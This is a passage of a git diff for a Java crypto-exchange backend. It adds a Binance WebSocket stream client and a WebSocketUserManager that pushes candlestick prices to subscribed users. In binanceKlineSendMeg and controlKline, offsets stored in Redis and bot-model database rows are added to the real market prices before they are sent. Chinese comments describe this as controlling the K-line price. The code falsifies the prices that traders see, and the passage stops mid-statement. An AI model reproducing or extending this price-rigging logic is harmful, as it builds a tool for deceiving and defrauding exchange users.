    + * Update Speed: Real-time + * + * @param symbol Name of the trading pair + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#individual-symbol-mini-ticker-stream + */ + @Override + public int miniTickerStream(String symbol, WebSocketMessageCallback callback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + return miniTickerStream(symbol.toLowerCase(), noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #miniTickerStream(String, WebSocketMessageCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param symbol Name of the trading pair + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int miniTickerStream(String symbol, WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + Request request = RequestBuilder.buildWebSocketRequest(String.format("%s/ws/%s@miniTicker", baseUrl, symbol.toLowerCase())); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * 24hr rolling window mini-ticker statistics for all symbols that changed in an array. + * These are NOT the statistics of the UTC day, but a 24hr rolling window for the previous 24hrs. + * Note that only tickers that have changed will be present in the array. + *

    + * !miniTicker@arr + *

    + * Update Speed: Real-time + * + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#all-market-mini-tickers-stream + */ + @Override + public int allMiniTickerStream(WebSocketMessageCallback callback) { + return allMiniTickerStream(noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #allMiniTickerStream(WebSocketMessageCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int allMiniTickerStream(WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + Request request = RequestBuilder.buildWebSocketRequest(String.format("%s/ws/!miniTicker@arr", baseUrl)); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * 24hr rolling window ticker statistics for a single symbol. + * These are NOT the statistics of the UTC day, but a 24hr rolling window for the previous 24hrs. + *

    + * <symbol>@ticker + *

    + * Update Speed: Real-time + * + * @param symbol Name of the trading pair + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#individual-symbol-ticker-streams + */ + @Override + public int symbolTicker(String symbol, WebSocketMessageCallback callback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + return symbolTicker(symbol.toLowerCase(), noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #symbolTicker(String, WebSocketMessageCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param symbol Name of the trading pair + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int symbolTicker(String symbol, WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + Request request = RequestBuilder.buildWebSocketRequest(String.format("%s/ws/%s@ticker", baseUrl, symbol.toLowerCase())); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * 24hr rolling window ticker statistics for all symbols that changed in an array. + * These are NOT the statistics of the UTC day, but a 24hr rolling window for the previous 24hrs. + * Note that only tickers that have changed will be present in the array. + *

    + * !ticker@arr + *

    + * Update Speed: Real-time + * + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#all-market-tickers-stream + */ + @Override + public int allTickerStream(WebSocketMessageCallback callback) { + return allTickerStream(noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #allTickerStream(WebSocketMessageCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int allTickerStream(WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + Request request = RequestBuilder.buildWebSocketRequest(String.format("%s/ws/!ticker@arr", baseUrl)); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * Rolling window ticker statistics for a single symbol, computed over multiple windows. + *

    + * <symbol>@ticker_<window_size> + *

    + * Update Speed: Real-time + * + * @param symbol Name of the trading pair + * @param windowSize Window Sizes: 1h,4h + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#individual-symbol-rolling-window-statistics-streams + */ + public int rollingWindowTicker(String symbol, String windowSize, WebSocketMessageCallback callback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + ParameterChecker.checkParameterType(symbol, String.class, "windowSize"); + ArrayList allowedWindowSize = new ArrayList() {{ + add("1h"); + add("4h"); + }}; + if (!allowedWindowSize.contains(windowSize)) { + throw new BinanceConnectorException(String.format("\"%s\" is not a valid window size.", windowSize)); + } + return rollingWindowTicker(symbol.toLowerCase(), windowSize, noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #rollingWindowTicker(String, String, WebSocketMessageCallback)} (String, WebSocketCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param symbol Name of the trading pair + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int rollingWindowTicker(String symbol, String windowSize, WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + ParameterChecker.checkParameterType(symbol, String.class, "windowSize"); + ArrayList allowedWindowSize = new ArrayList() {{ + add("1h"); + add("4h"); + }}; + if (!allowedWindowSize.contains(windowSize)) { + throw new BinanceConnectorException(String.format("\"%s\" is not a valid window size.", windowSize)); + } + Request request = RequestBuilder.buildWebSocketRequest(String.format("%s/ws/%s@ticker_%s", baseUrl, symbol.toLowerCase(), windowSize)); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * Rolling window ticker statistics for all market symbols, computed over multiple windows. + * Note that only tickers that have changed will be present in the array. + *

    + * !ticker_<window-size>@arr + *

    + * Update Speed: Real-time + * + * @param windowSize Window Sizes: 1h,4h + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#all-market-rolling-window-statistics-streams + */ + @Override + public int allRollingWindowTicker(String windowSize, WebSocketMessageCallback callback) { + ParameterChecker.checkParameterType(windowSize, String.class, "windowSize"); + ArrayList allowedWindowSize = new ArrayList() {{ + add("1h"); + add("4h"); + }}; + if (!allowedWindowSize.contains(windowSize.toLowerCase())) { + throw new BinanceConnectorException(String.format("\"%s\" is not a valid window size.", windowSize.toLowerCase())); + } + return allRollingWindowTicker(windowSize.toLowerCase(), noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #allRollingWindowTicker(String, WebSocketMessageCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param windowSize Window Sizes: 1h,4h + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int allRollingWindowTicker(String windowSize, WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + ParameterChecker.checkParameterType(windowSize, String.class, "windowSize"); + Request request = RequestBuilder.buildWebSocketRequest(String.format("%s/ws/!ticker_%s@arr", baseUrl, windowSize.toLowerCase())); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * Pushes any update to the best bid or ask's price or quantity in real-time for a specified symbol. + *

    + * <symbol>@bookTicker + *

    + * Update Speed: Real-time + * + * @param symbol Name of the trading pair + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#individual-symbol-book-ticker-streams + */ + @Override + public int bookTicker(String symbol, WebSocketMessageCallback callback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + return bookTicker(symbol.toLowerCase(), noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #bookTicker(String, WebSocketMessageCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param symbol Name of the trading pair + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int bookTicker(String symbol, WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + Request request = RequestBuilder.buildWebSocketRequest(String.format("%s/ws/%s@bookTicker", baseUrl, symbol.toLowerCase())); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * Pushes any update to the best bid or ask's price or quantity in real-time for all symbols. + *

    + * !bookTicker + *

    + * Update Speed: Real-time + * + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#all-book-tickers-stream + */ + @Override + public int allBookTickerStream(WebSocketMessageCallback callback) { + return allBookTickerStream(noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #allBookTickerStream(WebSocketMessageCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int allBookTickerStream(WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + Request request = RequestBuilder.buildWebSocketRequest(String.format("%s/ws/!bookTicker", baseUrl)); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * Top bids and asks, Valid are 5, 10, or 20. + *

    + * <symbol>@depth<levels>@<speed>ms + *

    + * Update Speed: 1000ms or 100ms + * + * @param symbol Name of the trading pair + * @param levels Valid are 5, 10, or 20 + * @param speed 1000ms or 100ms + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#partial-book-depth-streams + */ + @Override + public int partialDepthStream(String symbol, int levels, int speed, WebSocketMessageCallback callback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + return partialDepthStream(symbol.toLowerCase(), levels, speed, noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #partialDepthStream(String, int, int, WebSocketMessageCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param symbol Name of the trading pair + * @param levels Valid are 5, 10, or 20 + * @param speed 1000ms or 100ms + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int partialDepthStream(String symbol, int levels, int speed, WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + Request request = RequestBuilder.buildWebSocketRequest(String.format("%s/ws/%s@depth%s@%sms", baseUrl, symbol.toLowerCase(), levels, speed)); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * Order book price and quantity depth updates used to locally manage an order book. + *

    + * <symbol>@depth@<speed>ms + *

    + * Update Speed: 1000ms or 100ms + * + * @param symbol Name of the trading pair + * @param speed 1000ms or 100ms + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#diff-depth-stream + */ + @Override + public int diffDepthStream(String symbol, int speed, WebSocketMessageCallback callback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + return diffDepthStream(symbol.toLowerCase(), speed, noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #diffDepthStream(String, int, WebSocketMessageCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param symbol Name of the trading pair + * @param speed 1000ms or 100ms + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int diffDepthStream(String symbol, int speed, WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + ParameterChecker.checkParameterType(symbol, String.class, "symbol"); + Request request = RequestBuilder.buildWebSocketRequest(String.format("%s/ws/%s@depth@%sms", baseUrl, symbol.toLowerCase(), speed)); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * User Data Streams are accessed at /ws/<listenKey> + * + * @param listenKey listen key obtained from this + * endpoint + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#user-data-streams + */ + @Override + public int listenUserStream(String listenKey, WebSocketMessageCallback callback) { + return listenUserStream(listenKey, noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #listenUserStream(String, WebSocketMessageCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param listenKey listen key obtained from this + * endpoint + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int listenUserStream(String listenKey, WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + Request request = RequestBuilder.buildWebSocketRequest(String.format("%s/ws/%s", baseUrl, listenKey)); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * Combined streams are accessed at /stream?streams=<streamName1>/<streamName2>/<streamName3> + * + * @param streams ArrayList of stream names to be combined
    + * @return int - Connection ID + * @see + * https://binance-docs.github.io/apidocs/spot/en/#websocket-market-streams + */ + @Override + public int combineStreams(ArrayList streams, WebSocketMessageCallback callback) { + return combineStreams(streams, noopOpenCallback, callback, noopClosingCallback, noopClosedCallback, noopFailureCallback); + } + + /** + * Same as {@link #combineStreams(ArrayList, WebSocketMessageCallback)} plus accepts callbacks for all major websocket connection events. + * + * @param streams ArrayList of stream names to be combined
    + * @param onOpenCallback Callback for when the websocket connection is opened + * @param onMessageCallback Callback for when a message is received + * @param onClosingCallback Callback for when the websocket connection is closing + * @param onFailureCallback Callback for when an error occurs + * @return int - Connection ID + */ + @Override + public int combineStreams(ArrayList streams, WebSocketOpenCallback onOpenCallback, WebSocketMessageCallback onMessageCallback, WebSocketClosingCallback onClosingCallback, WebSocketClosedCallback onClosedCallback, WebSocketFailureCallback onFailureCallback) { + String url = UrlBuilder.buildStreamUrl(baseUrl, streams); + Request request = RequestBuilder.buildWebSocketRequest(url); + return createConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request); + } + + /** + * Closes a specific stream based on stream ID. + * + * @param connectionId The connection ID to close. + */ + @Override + public void closeConnection(int connectionId) { + if (connections.containsKey(connectionId)) { + connections.get(connectionId).close(); + logger.info("Closing Connection ID {}", connectionId); + connections.remove(connectionId); + } else { + logger.info("Connection ID {} does not exist!", connectionId); + } + } + + /** + * Closes all streams + */ + @Override + public void closeAllConnections() { + if (!connections.isEmpty()) { + logger.info("Closing {} connections(s)", connections.size()); + Iterator> iter = connections.entrySet().iterator(); + while (iter.hasNext()) { + WebSocketConnection connection = iter.next().getValue(); + connection.close(); + iter.remove(); + } + } + + if (connections.isEmpty()) { + client.dispatcher().executorService().shutdown(); + logger.info("All connections are closed!"); + } + } + + private int createConnection( + WebSocketOpenCallback onOpenCallback, + WebSocketMessageCallback onMessageCallback, + WebSocketClosingCallback onClosingCallback, + WebSocketClosedCallback onClosedCallback, + WebSocketFailureCallback onFailureCallback, + Request request + ) { + WebSocketConnection connection = new WebSocketConnection(onOpenCallback, onMessageCallback, onClosingCallback, onClosedCallback, onFailureCallback, request, client); + connection.connect(); + int connectionId = connection.getConnectionId(); + connections.put(connectionId, connection); + return connectionId; + } +} \ No newline at end of file diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/manager/WebSocketUserManager.java b/ruoyi-system/src/main/java/com/ruoyi/socket/manager/WebSocketUserManager.java new file mode 100644 index 0000000..5f7d5d5 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/manager/WebSocketUserManager.java @@ -0,0 +1,856 @@ +package com.ruoyi.socket.manager; + +import com.alibaba.fastjson2.JSONArray; +import com.alibaba.fastjson2.JSONObject; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.huobi.wss.event.MarketDetailSubResponse; +import com.huobi.wss.event.MarketKLineSubResponse; +import com.huobi.wss.event.MarketTradeDetailSubResponse; +import com.ruoyi.bussiness.domain.TBotKlineModelInfo; +import com.ruoyi.bussiness.mapper.TBotKlineModelInfoMapper; +import com.ruoyi.bussiness.service.ITBotKlineModelService; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.bussiness.service.ITBotKlineModelService; +import com.ruoyi.socket.config.KLoader; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.utils.SpringContextUtil; +import com.ruoyi.socket.dto.*; +import com.ruoyi.socket.socketserver.WebSocketServers; +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.Response; +import org.junit.Test; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.scheduling.annotation.Async; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.text.SimpleDateFormat; +import java.time.*; +import java.time.temporal.ChronoUnit; +import java.util.*; + +import static org.junit.Assert.assertNotNull; + +@Service +public class WebSocketUserManager { + @Resource + private RedisCache redisCache; + @Resource + private TBotKlineModelInfoMapper tBotKlineModelInfoMapper; + @Resource + private ITBotKlineModelService tBotKlineModelService; + private static final Logger log = LoggerFactory.getLogger(WebSocketUserManager.class); + //订阅逻辑 + @Async("socketThread") + public void subscribeMsg(WsSubBO wsSubBO){ + //先订阅k线 + String op = wsSubBO.getOp(); + if(null!=op&&op.equals("subscribe")){ + //订阅消息处理 + //订阅消息规则:DETAIL TRADE KLINE + switch (wsSubBO.getType()) { + //DETAIL 不区分币种 TRADE KLINE区分币种 + case "DETAIL": + List detail = WebSocketServers.detailMap.get("DETAIL"); + if(detail==null){ + detail= new ArrayList<>(); + } + detail.add(wsSubBO.getUserId()); + WebSocketServers.detailMap.put("DETAIL",detail); + break; + case "TRADE": + List trade = WebSocketServers.tradeMap.get(wsSubBO.getSymbol().toLowerCase()); + if(trade==null){ + trade= new ArrayList<>(); + } + trade.add(wsSubBO.getUserId()); + WebSocketServers.tradeMap.put(wsSubBO.getSymbol().toLowerCase(),trade); + break; + case "KLINE": + List kline = WebSocketServers.klineMap.get(wsSubBO.getSymbol().toLowerCase()); + if(kline==null){ + kline= new ArrayList<>(); + } + kline.add(wsSubBO.getUserId()); + WebSocketServers.klineMap.put(wsSubBO.getSymbol().toLowerCase(),kline); + break; + } + }else{ + //取消订阅 + switch (wsSubBO.getType()) { + //DETAIL 不区分币种 TRADE KLINE区分币种 + case "DETAIL": + List detail = WebSocketServers.detailMap.get("DETAIL"); + if(detail!=null){ + detail.remove(wsSubBO.getUserId()); + WebSocketServers.detailMap.put("DETAIL",detail); + } + break; + case "TRADE": + List trade = WebSocketServers.tradeMap.get(wsSubBO.getSymbol().toLowerCase()); + if(trade!=null){ + trade.remove(wsSubBO.getUserId()); + WebSocketServers.tradeMap.put("TRADE",trade); + } + break; + case "KLINE": + List kline = WebSocketServers.klineMap.get(wsSubBO.getSymbol().toLowerCase()); + if(kline!=null){ + kline.remove(wsSubBO.getUserId()); + WebSocketServers.klineMap.put("KLINE",kline); + } + break; + } + } + } + + //分发逻辑 + @Async("socketThread") + public void buidlMsgToSend(Object message){ + WsVO wsVO = new WsVO(); + if(message instanceof MarketTradeDetailSubResponse){ + String ch = ((MarketTradeDetailSubResponse) message).getCh(); + wsVO.setType("TRADE"); + wsVO.setSymbol(ch.replace("market.","").replace("-USDT.trade.detail","").toLowerCase()); + wsVO.setData(message); + }else if(message instanceof MarketKLineSubResponse){ + String ch = ((MarketKLineSubResponse) message).getCh(); + wsVO.setType("KLINE"); + wsVO.setSymbol(ch.replace("market.","").replace("-USDT.kline.1min","").toLowerCase()); + wsVO.setData( message); + }else { + String ch = ((MarketDetailSubResponse) message).getCh(); + wsVO.setType("DETAIL"); + wsVO.setSymbol(ch.replace("market.","").replace("-USDT.detail","").toLowerCase()); + wsVO.setData( message); + } + toSendMessage(wsVO); + } + @Async("socketThread") + public void toSendMessage(WsVO wsVO){ + String symbol = wsVO.getSymbol(); + switch (wsVO.getType()) { + //DETAIL 不区分币种 TRADE KLINE区分币种 + case "DETAIL": + //先存币种的最新价格 + BinanceDTO data = (BinanceDTO) wsVO.getData(); + DetailTickBean klineTickBean = (DetailTickBean)data.getTick(); + redisCache.setCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix()+symbol,klineTickBean.getClose()); + // redisCache.setCacheObject(CachePrefix.CURRENCY_OPEN_PRICE.getPrefix()+symbol,klineTickBean.getOpen()); + KLoader.OPEN_PRICE.put(symbol,klineTickBean.getOpen()); + //在判断是否分发 + List detail = WebSocketServers.detailMap.get("DETAIL"); + if(detail==null){ + return; + } + for (String s : detail) { + WebSocketServers.sendInfo(JSONObject.toJSONString(wsVO),s); + } + break; + case "TRADE": +// log.info("================================"+wsVO); + List tradeMap = WebSocketServers.tradeMap.get(symbol.toLowerCase()); + if(tradeMap==null){ + return; + } + for (String s : tradeMap) { + WebSocketServers.sendInfo(JSONObject.toJSONString(wsVO),s); + } + break; + case "KLINE": + if(symbol.length()>5){ + RedisCache redis = SpringContextUtil.getBean(RedisCache.class); + BinanceDTO dataMt5 = (BinanceDTO) wsVO.getData(); + KlineTickBean klineTickBeanc = (KlineTickBean)dataMt5.getTick(); + redis.setCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix()+ symbol,klineTickBeanc.getClose()); + } + List klineMap = WebSocketServers.klineMap.get(symbol.toLowerCase()); + if(klineMap==null){ + return; + } + for (String s : klineMap) { + WebSocketServers.sendInfo(JSONObject.toJSONString(wsVO),s); + } + break; + } + } + + + //构建币安k线对线 + @Async("socketThread") + public void binanceKlineSendMeg(String event){ + JSONObject jsonObject = JSONObject.parseObject(event); + JSONObject o = jsonObject.getJSONObject("k"); + //返回对象 + WsVO wsVO = new WsVO(); + wsVO.setType("KLINE"); + wsVO.setSymbol(String.valueOf(o.get("s")).replace("USDT","").toLowerCase()); + + //构建kline对象 + BinanceDTO klineDTO = new BinanceDTO(); + KlineTickBean klineTickBean = new KlineTickBean(); + klineTickBean.setIntervention(false); + klineDTO.setTs(jsonObject.getLong("E")); + klineDTO.setCh(jsonObject.getString("e")); + //k线 + klineTickBean.setId(o.getLong("t")); + klineTickBean.setVol(new BigDecimal(o.getString("v"))); + klineTickBean.setCount(new BigDecimal(o.getString("n"))); + klineTickBean.setAmount(new BigDecimal(o.getString("q"))); + klineTickBean.setHigh(new BigDecimal(o.getString("h"))); + klineTickBean.setLow(new BigDecimal(o.getString("l"))); + klineTickBean.setOpen(new BigDecimal(o.getString("o"))); + klineTickBean.setClose(new BigDecimal(o.getString("c"))); + String coin = String.valueOf(o.get("s")).replace("USDT", "").toLowerCase(); + coin =coin.replace("usdt",""); + //获取跟随型控盘价格。 + String conPriceAndId = redisCache.getCacheObject("con-" +coin); + if(conPriceAndId!=null){ + log.info("控线"+conPriceAndId); + String[] split = conPriceAndId.split(","); + BigDecimal conPrice = new BigDecimal(split[0]); + long time = Long.parseLong(split[1]); + BigDecimal conPriceAdd = klineTickBean.getClose().add(conPrice); + //如果不是这一分钟插得针 开盘价不用管 管住最高价或者最低假 和封盘价, 如果是这一分钟 每一个都替换 + Long ts = klineDTO.getTs(); + //当前k线 + String ymdhm = getYMDHM(ts); + //控制K线 + String conT = getYMDHM(time); + log.info(coin+"控制价格为"+conPrice); + if(conT.equals(ymdhm)){ + if(klineTickBean.getHigh().compareTo(conPriceAdd)<0){ + klineTickBean.setHigh(conPriceAdd); + } + if(klineTickBean.getLow().compareTo(conPriceAdd)>0){ + klineTickBean.setLow(conPriceAdd); + } + + klineTickBean.setClose(conPriceAdd); + }else { + BigDecimal cl = klineTickBean.getClose().add(conPrice); + BigDecimal hi = klineTickBean.getHigh().add(conPrice); + BigDecimal lo = klineTickBean.getLow().add(conPrice); + BigDecimal op = klineTickBean.getOpen().add(conPrice); + klineTickBean.setHigh(hi); + klineTickBean.setLow(lo); + klineTickBean.setOpen(op); + klineTickBean.setClose(cl); + } + KLoader.BOT_PRICE.put(coin,klineTickBean.getClose()); + }else{ + //所有控线走eth的频率,也就是说如果控线了,处理eth的同时,也会处理被控制的币种. + if(coin.equals("bnb")) { + controlKline(klineTickBean,klineDTO); + klineTickBean.setHigh(new BigDecimal(o.getString("h"))); + klineTickBean.setLow(new BigDecimal(o.getString("l"))); + klineTickBean.setOpen(new BigDecimal(o.getString("o"))); + klineTickBean.setClose(new BigDecimal(o.getString("c"))); + if(KLoader.BOT_MAP.containsKey("bot-"+"bnb")){ + return; + } + }else { + if(KLoader.BOT_MAP.containsKey("bot-"+coin)){ + Map cacheMap = KLoader.BOT_MAP.get("bot-"+coin); + //因为btc 处理了 别的k先数据 ,如果不等于null 或者 Y不等于0直接返回 不处理 + LocalDateTime currentDateTime = LocalDateTime.now(); + LocalDateTime lastWholeMinute = currentDateTime.truncatedTo(ChronoUnit.MINUTES); + long timestamp = lastWholeMinute.atZone(java.time.ZoneId.systemDefault()).toInstant().toEpochMilli(); + TBotKlineModelInfo tBotKlineModelInfo = new TBotKlineModelInfo(); + tBotKlineModelInfo.setModelId((Long)cacheMap.get("id")); + tBotKlineModelInfo.setDateTime(timestamp); + TBotKlineModelInfo tBotKlineModelInfo1=tBotKlineModelInfoMapper.selectOne(new QueryWrapper<>(tBotKlineModelInfo)); + if(tBotKlineModelInfo1!=null&&!tBotKlineModelInfo1.getY().equals("0")){ + //控线不处理 因为走的btc的 在处理会导致价格不一致 + return; + } + } + } + } + klineDTO.setTick(klineTickBean); + wsVO.setData(klineDTO); + //发送消息 + toSendMessage(wsVO); + } + private void controlKline(KlineTickBean klineTickBean,BinanceDTO klineDTO ){ + for (String cacheMapc: KLoader.BOT_MAP.keySet()) { + HashMap cacheMap = KLoader.BOT_MAP.get(cacheMapc); + String coin = cacheMapc.replace("bot-", "").toLowerCase(); + klineTickBean.setIntervention(true); + //获取整分时间戳 然后查询是否有控线数据 + LocalDateTime currentDateTime = LocalDateTime.now(); + LocalDateTime lastWholeMinute = currentDateTime.truncatedTo(ChronoUnit.MINUTES); + long timestamp = lastWholeMinute.atZone(java.time.ZoneId.systemDefault()).toInstant().toEpochMilli(); + TBotKlineModelInfo tBotKlineModelInfo = new TBotKlineModelInfo(); + tBotKlineModelInfo.setModelId((Long)cacheMap.get("id")); + tBotKlineModelInfo.setDateTime(timestamp); + TBotKlineModelInfo tBotKlineModelInfo1=tBotKlineModelInfoMapper.selectOne(new QueryWrapper<>(tBotKlineModelInfo)); + //不等于null Y不等于0为控线状态 + if(null!=tBotKlineModelInfo1&&!tBotKlineModelInfo1.getY().equals("0")){ + //获取当时对比价格 + BigDecimal currentlyPrice = (BigDecimal) cacheMap.get("currentlyPrice"); + //最高价 + BigDecimal high = 